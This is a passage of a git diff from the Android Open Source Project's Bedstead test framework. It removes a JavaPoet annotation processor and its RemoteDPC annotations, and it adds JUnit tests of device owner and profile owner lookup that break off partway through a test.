-                        .addParameter(CONTEXT_CLASSNAME, "context")
-                        .addCode("mManager = context.getSystemService($T.class);",
-                                managerClassName)
-                .build()
-        );
-
-        for (ExecutableElement method : getMethods(interfaceClass)) {
-            MethodSpec.Builder methodBuilder = MethodSpec.methodBuilder(
-                    method.getSimpleName().toString())
-                    .returns(ClassName.get(method.getReturnType()))
-                    .addModifiers(Modifier.PUBLIC)
-                    .addAnnotation(Override.class);
-
-            for (VariableElement param : method.getParameters()) {
-                ParameterSpec parameterSpec =
-                        ParameterSpec.builder(ClassName.get(param.asType()),
-                                param.getSimpleName().toString()).build();
-
-                methodBuilder.addParameter(parameterSpec);
-            }
-
-            String parametersString = method.getParameters().stream()
-                    .map(VariableElement::getSimpleName)
-                    .collect(Collectors.joining(", "));
-            CodeBlock methodCall;
-
-            if (method.getAnnotation(RemoteDpcAutomaticAdmin.class) != null) {
-                // We just redirect to the other method, adding in the component
-                if (parametersString.isEmpty()) {
-                    methodCall = CodeBlock.of("$L($T.REMOTE_DPC_COMPONENT_NAME);",
-                            method.getSimpleName(), CONFIGURATION_CLASSNAME);
-                } else {
-                    methodCall = CodeBlock.of("$L($T.REMOTE_DPC_COMPONENT_NAME, $L);",
-                            method.getSimpleName(), CONFIGURATION_CLASSNAME, parametersString);
-                }
-            } else {
-                // We call through to the wrapped manager class
-                methodCall = CodeBlock.of("mManager.$L($L);",
-                        method.getSimpleName(), parametersString);
-            }
-
-            if (!method.getReturnType().getKind().equals(TypeKind.VOID)) {
-                methodCall = CodeBlock.of("return $L", methodCall);
-            }
-            methodBuilder.addCode(methodCall);
-
-            classBuilder.addMethod(methodBuilder.build());
-        }
-
-        PackageElement packageElement = (PackageElement) interfaceClass.getEnclosingElement();
-
-        writeClassToFile(packageElement.getQualifiedName().toString(), classBuilder.build());
-    }
-
-    /** Generate wrapper which wraps the cross-profile class. */
-    private void generateWrapperClass(TypeElement interfaceClass) {
-        TypeSpec.Builder classBuilder =
-                TypeSpec.classBuilder(
-                        wrapperName(interfaceClass))
-                        .addSuperinterface(crossProfileInterfaceName(interfaceClass))
-                        .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
-
-
-        classBuilder.addField(CROSS_PROFILE_CONNECTOR_CLASSNAME,
-                "mConnector", Modifier.PRIVATE, Modifier.FINAL);
-        classBuilder.addField(profileTypeName(interfaceClass),
-                "mProfileType", Modifier.PRIVATE, Modifier.FINAL);
-
-        classBuilder.addMethod(
-                MethodSpec.constructorBuilder()
-                        .addModifiers(Modifier.PUBLIC)
-                        .addParameter(CROSS_PROFILE_CONNECTOR_CLASSNAME, "connector")
-                        .addCode("mConnector = connector;")
-                        .addCode("mProfileType = $T.create(connector);",
-                                profileTypeName(interfaceClass))
-                        .build()
-        );
-
-        classBuilder.addMethod(
-                MethodSpec.methodBuilder("tryConnect")
-                        .addModifiers(Modifier.PRIVATE)
-                        .addException(UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
-                        .addCode("$T retries = 300;", int.class)
-                        .beginControlFlow("while (true)")
-                            .beginControlFlow("try")
-                                .addCode("mConnector.connect();")
-                                .addCode("return;")
-                            .nextControlFlow("catch ($T e)", UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
-                                .addCode("retries -= 1;")
-                                .beginControlFlow("if (retries <= 0)")
-                                    .addCode("throw e;")
-                                .endControlFlow()
-                                .beginControlFlow("try")
-                                    .addCode("$T.sleep(100);", Thread.class)
-                                 .nextControlFlow("catch ($T e2)", InterruptedException.class)
-                                .endControlFlow()
-                            .endControlFlow()
-                        .endControlFlow()
-                        .build()
-        );
-
-        for (ExecutableElement method : getMethods(interfaceClass)) {
-            MethodSpec.Builder methodBuilder =
-                    MethodSpec.methodBuilder(method.getSimpleName().toString())
-                    .returns(ClassName.get(method.getReturnType()))
-                    .addModifiers(Modifier.PUBLIC)
-                    .addAnnotation(Override.class);
-
-            for (VariableElement param : method.getParameters()) {
-                ParameterSpec parameterSpec =
-                        ParameterSpec.builder(ClassName.get(param.asType()),
-                                param.getSimpleName().toString()).build();
-
-                methodBuilder.addParameter(parameterSpec);
-            }
-
-            String parametersString = method.getParameters().stream()
-                    .map(VariableElement::getSimpleName)
-                    .collect(Collectors.joining(", "));
-
-            CodeBlock methodCall = CodeBlock.of("mProfileType.other().$L($L);",
-                    method.getSimpleName().toString(), parametersString);
-            if (!method.getReturnType().getKind().equals(TypeKind.VOID)) {
-                methodCall = CodeBlock.of("return $L", methodCall);
-            }
-
-            methodBuilder.beginControlFlow("try")
-                    .addCode("tryConnect();")
-                    .addCode(methodCall)
-                    .nextControlFlow("catch ($T e)",
-                            UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
-                    .addCode("throw new $T(\"Error connecting\", e);", NENE_EXCEPTION_CLASSNAME)
-                    .nextControlFlow("catch ($T e)",
-                            PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
-                    .addCode("throw ($T) e.getCause();", RuntimeException.class)
-                    .nextControlFlow("finally")
-                    .addCode("mConnector.stopManualConnectionManagement();")
-                    .endControlFlow();
-
-            classBuilder.addMethod(methodBuilder.build());
-        }
-
-        PackageElement packageElement = (PackageElement) interfaceClass.getEnclosingElement();
-        writeClassToFile(packageElement.getQualifiedName().toString(), classBuilder.build());
-    }
-
-    /** Generate sub-interface which is annotated @CrossProfile. */
-    private void generateCrossProfileInterface(TypeElement interfaceClass) {
-        TypeSpec.Builder classBuilder =
-                TypeSpec.interfaceBuilder(
-                        crossProfileInterfaceName(interfaceClass))
-                        .addSuperinterface(ClassName.get(interfaceClass))
-                        .addModifiers(Modifier.PUBLIC);
-
-        for (ExecutableElement method : getMethods(interfaceClass)) {
-            MethodSpec.Builder methodBuilder =
-                    MethodSpec.methodBuilder(method.getSimpleName().toString())
-                    .returns(ClassName.get(method.getReturnType()))
-                    .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT)
-                    .addAnnotation(CrossProfile.class)
-                    .addAnnotation(Override.class);
-
-            for (VariableElement param : method.getParameters()) {
-                ParameterSpec parameterSpec =
-                        ParameterSpec.builder(ClassName.get(param.asType()),
-                                param.getSimpleName().toString()).build();
-
-                methodBuilder.addParameter(parameterSpec);
-            }
-
-            classBuilder.addMethod(methodBuilder.build());
-        }
-
-        PackageElement packageElement = (PackageElement) interfaceClass.getEnclosingElement();
-        writeClassToFile(packageElement.getQualifiedName().toString(), classBuilder.build());
-    }
-
-    private void generateProvider(Set<TypeElement> interfaces) {
-        TypeSpec.Builder classBuilder =
-                TypeSpec.classBuilder(
-                        "Provider")
-                        .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
-
-        for (TypeElement i : interfaces) {
-            MethodSpec.Builder methodBuilder =
-                    MethodSpec.methodBuilder("provide_" + i.getSimpleName())
-                    .returns(crossProfileInterfaceName(i))
-                    .addModifiers(Modifier.PUBLIC)
-                    .addParameter(CONTEXT_CLASSNAME, "context")
-                    .addAnnotation(CrossProfileProvider.class)
-                    .addCode("return new $T(context);", implName(i));
-
-            classBuilder.addMethod(methodBuilder.build());
-        }
-
-        writeClassToFile(MANAGER_PACKAGE_NAME, classBuilder.build());
-    }
-
-    private void generateConfiguration() {
-        TypeSpec.Builder classBuilder =
-                TypeSpec.classBuilder(
-                        "Configuration")
-                        .addModifiers(Modifier.PUBLIC, Modifier.FINAL)
-                .addAnnotation(AnnotationSpec.builder(CrossProfileConfiguration.class)
-                        .addMember("providers", "Provider.class")
-                        .build());
-
-        writeClassToFile(MANAGER_PACKAGE_NAME, classBuilder.build());
-    }
-
-    private TypeElement extractClassFromAnnotation(Runnable runnable) {
-        try {
-            runnable.run();
-        } catch (MirroredTypeException e) {
-            return e.getTypeMirrors().stream()
-                    .map(t -> (TypeElement) processingEnv.getTypeUtils().asElement(t))
-                    .findFirst()
-                    .get();
-        }
-        throw new AssertionError("Could not extract class from annotation");
-    }
-
-    private void writeClassToFile(String packageName, TypeSpec clazz) {
-        String qualifiedClassName =
-                packageName.isEmpty() ? clazz.name : packageName + "." + clazz.name;
-
-        JavaFile javaFile = JavaFile.builder(packageName, clazz).build();
-        try {
-            JavaFileObject builderFile =
-                    processingEnv.getFiler().createSourceFile(qualifiedClassName);
-            try (PrintWriter out = new PrintWriter(builderFile.openWriter())) {
-                javaFile.writeTo(out);
-            }
-        } catch (IOException e) {
-            throw new IllegalStateException("Error writing " + qualifiedClassName + " to file", e);
-        }
-    }
-
-    private ClassName crossProfileInterfaceName(TypeElement interfaceClass) {
-        return ClassName.bestGuess(interfaceClass.getQualifiedName().toString() + "_Internal");
-    }
-
-    private ClassName implName(TypeElement interfaceClass) {
-        return ClassName.bestGuess(interfaceClass.getQualifiedName().toString() + "_Impl");
-    }
-
-    private ClassName wrapperName(TypeElement interfaceClass) {
-        return ClassName.bestGuess(interfaceClass.getQualifiedName().toString() + "_Wrapper");
-    }
-
-    private ClassName profileTypeName(TypeElement interfaceClass) {
-        ClassName crossProfileInterfaceName = crossProfileInterfaceName(interfaceClass);
-        return ClassName.get(crossProfileInterfaceName.packageName(),
-                "Profile" + crossProfileInterfaceName.simpleName());
-    }
-
-    private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
-        return interfaceClass.getEnclosedElements().stream()
-                .filter(e -> e instanceof ExecutableElement)
-                .map(e -> (ExecutableElement) e)
-                .collect(Collectors.toSet());
-    }
-
-    private void showError(String errorText, Element errorElement) {
-        processingEnv
-                .getMessager()
-                .printMessage(Diagnostic.Kind.ERROR, errorText, errorElement);
-    }
-}
diff --git a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcAutomaticAdmin.java b/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcAutomaticAdmin.java
deleted file mode 100644
index b609a0e..0000000
--- a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcAutomaticAdmin.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc.processor.annotations;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-
-/**
- * Applied to methods which map to an identically named method on the same interface but needs the
- * admin {@link android.content.ComponentName} added as the first argument.
- *
- * <p>This should always be paired with another method which accepts the
- * {@link android.content.ComponentName}.
- *
- * <p>For example:
- * <pre><code>
- *   boolean isUsingUnifiedPassword(@NonNull ComponentName admin);
- *   @RemoteDpcAutomaticAdmin boolean isUsingUnifiedPassword();
- * <code></pre>
- */
-@Target(ElementType.METHOD)
-@Retention(RetentionPolicy.CLASS)
-public @interface RemoteDpcAutomaticAdmin {
-}
diff --git a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcManager.java b/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcManager.java
deleted file mode 100644
index 8d767a3..0000000
--- a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/RemoteDpcManager.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc.processor.annotations;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-
-/**
- * Mark an interface as wrapping a framework manager class for RemoteDPC.
- *
- * <p>Every method in the interface must have a matching method on the {@code managerClass} or else
- * be annotated {@link RemoteDpcAutomaticAdmin}.
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.CLASS)
-public @interface RemoteDpcManager {
-
-    /**
-     * The manager class being wrapped.
-     *
-     * <p>For example, {@link android.app.admin.DevicePolicyManager}. */
-    Class<?> managerClass();
-}
diff --git a/common/device-side/bedstead/remotedpc/src/library/test/AndroidManifest.xml b/common/device-side/bedstead/remotedpc/src/test/AndroidManifest.xml
similarity index 100%
rename from common/device-side/bedstead/remotedpc/src/library/test/AndroidManifest.xml
rename to common/device-side/bedstead/remotedpc/src/test/AndroidManifest.xml
diff --git a/common/device-side/bedstead/remotedpc/src/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java b/common/device-side/bedstead/remotedpc/src/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
new file mode 100644
index 0000000..5722fb6
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
@@ -0,0 +1,810 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import static android.os.Build.VERSION_CODES.Q;
+import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.os.UserHandle;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
+import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnSystemUser;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.devicepolicy.ProfileOwner;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class RemoteDpcTest {
+    //  TODO(180478924): We shouldn't need to hardcode this
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME =
+            "com.android.bedstead.testapp.DeviceAdminTestApp";
+    private static final ComponentName NON_REMOTE_DPC_COMPONENT =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    "com.android.bedstead.testapp.DeviceAdminTestApp.DeviceAdminReceiver");
+
+    @ClassRule @Rule
+    public static DeviceState sDeviceState = new DeviceState();
+
+    private static TestApp sNonRemoteDpcTestApp;
+    private static final UserReference sUser = TestApis.users().instrumented();
+    private static final UserReference NON_EXISTING_USER_REFERENCE =
+            TestApis.users().find(99999);
+    private static final UserHandle NON_EXISTING_USER_HANDLE =
+            NON_EXISTING_USER_REFERENCE.userHandle();
+
+    @BeforeClass
+    public static void setupClass() {
+        sNonRemoteDpcTestApp = new TestAppProvider().query()
+                // TODO(180478924): Query by feature not package name
+                .wherePackageName().isEqualTo(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
+                .get();
+
+        sNonRemoteDpcTestApp.install();
+        sNonRemoteDpcTestApp.install(TestApis.users().system());
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sNonRemoteDpcTestApp.uninstallFromAllUsers();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    public void deviceOwner_noDeviceOwner_returnsNull() {
+        assertThat(RemoteDpc.deviceOwner()).isNull();
+    }
+
+    @Test
+    @RequireRunOnSystemUser
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void deviceOwner_nonRemoteDpcDeviceOwner_returnsNull() {
+        DeviceOwner deviceOwner =
+                TestApis.devicePolicy().setDeviceOwner(NON_REMOTE_DPC_COMPONENT);
+        try {
+            assertThat(RemoteDpc.deviceOwner()).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void deviceOwner_remoteDpcDeviceOwner_returnsInstance() {
+        assertThat(RemoteDpc.deviceOwner()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoProfileOwner
+    public void profileOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.profileOwner()).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void profileOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        ProfileOwner profileOwner =
+                TestApis.devicePolicy().setProfileOwner(sUser, NON_REMOTE_DPC_COMPONENT);
+        try {
+            assertThat(RemoteDpc.profileOwner()).isNull();
+        } finally {
+            profileOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasProfileOwner
+    public void profileOwner_remoteDpcProfileOwner_returnsInstance() {
+        assertThat(RemoteDpc.profileOwner()).isNotNull();
+    }
+
+    @Test
+    public void profileOwner_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.profileOwner((UserHandle) null));
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    public void profileOwner_userHandle_noProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void profileOwner_userHandle_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void profileOwner_userHandle_remoteDpcProfileOwner_returnsInstance() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        RemoteDpc.setAsProfileOwner(profile);
+        try {
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.profileOwner((UserReference) null));
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    public void profileOwner_userReference_noProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            assertThat(RemoteDpc.profileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @RequireRunOnSystemUser
+    @EnsureHasNoWorkProfile
+    public void profileOwner_userReference_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.profileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void profileOwner_userReference_remoteDpcProfileOwner_returnsInstance() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        RemoteDpc.setAsProfileOwner(profile);
+        try {
+            assertThat(RemoteDpc.profileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void any_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any()).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void any_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        ProfileOwner profileOwner = TestApis.devicePolicy().setProfileOwner(sUser,
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any()).isNull();
+        } finally {
+            profileOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @RequireRunOnSystemUser
+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void any_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any()).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void any_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        assertThat(RemoteDpc.any()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasProfileOwner
+    public void any_remoteDpcProfileOwner_returnsProfileOwner() {
+        assertThat(RemoteDpc.any()).isNotNull();
+    }
+
+    @Test
+    public void any_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserHandle) null));
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void any_userHandle_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    public void any_userHandle_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.any(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @RequireRunOnSystemUser
+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void any_userHandle_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void any_userHandle_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        RemoteDpc deviceOwner = RemoteDpc.deviceOwner();
+
+        assertThat(RemoteDpc.any(sUser.userHandle())).isEqualTo(deviceOwner);
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void any_userHandle_remoteDpcProfileOwner_returnsProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(RemoteDpc.any(profile.userHandle())).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void any_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserReference) null));
+    }
+
+    @Test
+    public void any_userReference_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any(sUser)).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    public void any_userReference_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.any(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @RequireRunOnSystemUser
+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void any_userReference_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any(sUser)).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void any_userReference_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        RemoteDpc deviceOwner = RemoteDpc.deviceOwner();
+
+        assertThat(RemoteDpc.any(sUser)).isEqualTo(deviceOwner);
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void any_userReference_remoteDpcProfileOwner_returnsProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(RemoteDpc.any(profile)).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void setAsDeviceOwner_alreadySet_doesNothing() {
+        RemoteDpc.setAsDeviceOwner();
+
+        DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
+        assertThat(deviceOwner).isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @RequireRunOnSystemUser
